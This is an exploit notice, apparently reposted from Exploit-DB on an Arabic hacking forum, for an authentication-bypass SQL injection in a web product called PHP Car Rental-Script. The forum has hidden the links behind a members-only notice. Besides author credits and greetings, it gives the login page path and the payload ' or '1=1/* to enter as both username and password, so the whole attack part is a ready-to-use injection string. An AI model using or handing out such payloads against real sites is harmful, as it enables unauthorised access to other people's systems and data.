PHP Car Rental-Script (Auth Bypass) SQL Injection

[HeShAm HaCkErS]

# Title: PHP Car Rental-Script (Auth Bypass) SQL Injection 
  # EDB-ID: 11323 
# CVE-ID: () 
# OSVDB-ID: () 
# Author: Hamza 'MizoZ' N.  
# Published: 2010-02-03 
# Verified: yes 
# Download [فقط الأعضاء المسجلين يمكنهم مشاهدة الروابط. إضغط هنا للتسجيل...]
# Download N/A
 
 [فقط الأعضاء المسجلين يمكنهم مشاهدة الروابط. إضغط هنا للتسجيل...]
[فقط الأعضاء المسجلين يمكنهم مشاهدة الروابط. إضغط هنا للتسجيل...][فقط الأعضاء المسجلين يمكنهم مشاهدة الروابط. إضغط هنا للتسجيل...]

/*
 
Name : PHP Car Rental-Script (Auth Bypass) SQL Injection
WebSite : [فقط الأعضاء المسجلين يمكنهم مشاهدة الروابط. إضغط هنا للتسجيل...]
 
Author : Hamza 'MizoZ' N.
Email : [فقط الأعضاء المسجلين يمكنهم مشاهدة الروابط. إضغط هنا للتسجيل...]
 
Greetz : Zuka , Achille Dark3r , int_0x80 , geeksec.com<http://geeksec.com> ...
 
*/
 
- Log-On page :
 
[فقط الأعضاء المسجلين يمكنهم مشاهدة الروابط. إضغط هنا للتسجيل...][PATH]/index.php?plugin_id=4
 
username = ' or '1=1/*
password = ' or '1=1/*